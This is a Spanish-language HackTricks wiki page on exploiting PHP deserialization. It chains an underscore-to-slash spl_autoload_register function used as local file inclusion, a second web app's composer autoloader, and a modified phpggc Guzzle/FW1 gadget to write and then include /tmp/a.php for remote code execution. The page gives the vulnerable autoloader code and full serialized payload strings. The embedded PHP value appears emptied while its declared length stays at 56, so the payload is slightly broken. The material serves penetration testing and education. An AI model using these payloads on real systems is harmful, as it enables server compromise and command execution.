# PHP - Deserialización + Autoload de Clases
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
En primer lugar, debes comprobar qué son las [**Clases de Autocarga**](https://www.php.net/manual/en/language.oop5.autoload.php).
## PHP deserialización + spl\_autoload\_register + LFI/Gadget
Nos encontramos en una situación en la que hemos encontrado una **deserialización de PHP en una aplicación web** sin ninguna biblioteca vulnerable a gadgets dentro de **`phpggc`**. Sin embargo, en el mismo contenedor había una **aplicación web de composer diferente con bibliotecas vulnerables**. Por lo tanto, el objetivo era **cargar el cargador de composer de la otra aplicación web** y abusar de él para **cargar un gadget que explotará esa biblioteca con un gadget** de la aplicación web vulnerable a la deserialización.
Pasos:
* Has encontrado una **deserialización** y **no hay ningún gadget** en el código de la aplicación actual.
* Puedes abusar de una función **`spl_autoload_register`** como la siguiente para **cargar cualquier archivo local con extensión `.php`**
* Para ello, utilizas una deserialización donde el nombre de la clase va a estar dentro de **`$name`**. No puedes usar "/" o "." en un nombre de clase en un objeto serializado, pero el **código** está **reemplazando** los **guiones bajos** ("\_") **por barras** ("/"). Por lo tanto, un nombre de clase como `tmp_passwd` se transformará en `/tmp/passwd.php` y el código intentará cargarlo.\
Un **ejemplo de gadget** sería: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
{% hint style="success" %}
Si tienes una **carga de archivo** y puedes cargar un archivo con extensión **`.php`**, podrías **abusar directamente de esta funcionalidad** y obtener RCE.
{% endhint %}
En mi caso, no tenía nada así, pero había dentro del **mismo contenedor** otra página web de composer con una **biblioteca vulnerable a un gadget `phpggc`**.
* Para cargar esta otra biblioteca, primero necesitas **cargar el cargador de composer de esa otra aplicación web** (porque el de la aplicación actual no accederá a las bibliotecas de la otra). **Conociendo la ruta de la aplicación**, puedes lograr esto muy fácilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (En mi caso, el cargador de composer estaba en `/www/frontend/vendor/autoload.php`)
* Ahora, puedes **cargar** el **cargador de composer de las otras aplicaciones**, así que es hora de **`generar el payload phpgcc`** para usar. En mi caso, usé **`Guzzle/FW1`**, lo que me permitió **escribir cualquier archivo dentro del sistema de archivos**.
* NOTA: El **gadget generado no funcionaba**, para que funcionara **modifiqué** ese payload **`chain.php`** de phpggc y establecí **todos los atributos** de las clases **de privados a públicos**. Si no, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.
* Ahora tenemos la forma de **cargar el cargador de composer de las otras aplicaciones** y tener un **payload phpggc que funciona**, pero necesitamos **hacer esto en la MISMA PETICIÓN para que el cargador se cargue cuando se use el gadget**. Para eso, envié un array serializado con ambos objetos como:
* Puedes ver **primero el cargador siendo cargado y luego el payload**
{% code overflow="wrap" %}
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
{% endcode %}
* Ahora, podemos **crear y escribir un archivo**, sin embargo, el usuario **no puede escribir en ninguna carpeta dentro del servidor web**. Entonces, como se puede ver en el payload, PHP llama a **`system`** con algún **base64** que se crea en **`/tmp/a.php`**. Luego, podemos **reutilizar el primer tipo de payload** que usamos como LFI para cargar el cargador de compositores de la otra aplicación web **para cargar el archivo generado `/tmp/a.php`**. Solo agréguelo al gadget de deserialización:
{% code overflow="wrap" %}
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
{% endcode %}
**Resumen de la carga útil**
* **Carga el autoload de composer** de una aplicación web diferente en el mismo contenedor.
* **Carga un gadget phpggc** para abusar de una biblioteca de la otra aplicación web (la aplicación web inicial vulnerable a la deserialización no tenía ningún gadget en sus bibliotecas).
* El gadget **creará un archivo con una carga útil de PHP** en /tmp/a.php con comandos maliciosos (el usuario de la aplicación web no puede escribir en ninguna carpeta de ninguna aplicación web).
* La parte final de nuestra carga útil usará **cargar el archivo php generado** que ejecutará comandos.
Necesité **llamar a esta deserialización dos veces**. En mis pruebas, la primera vez se creó el archivo `/tmp/a.php` pero no se cargó, y la segunda vez se cargó correctamente.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family).
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).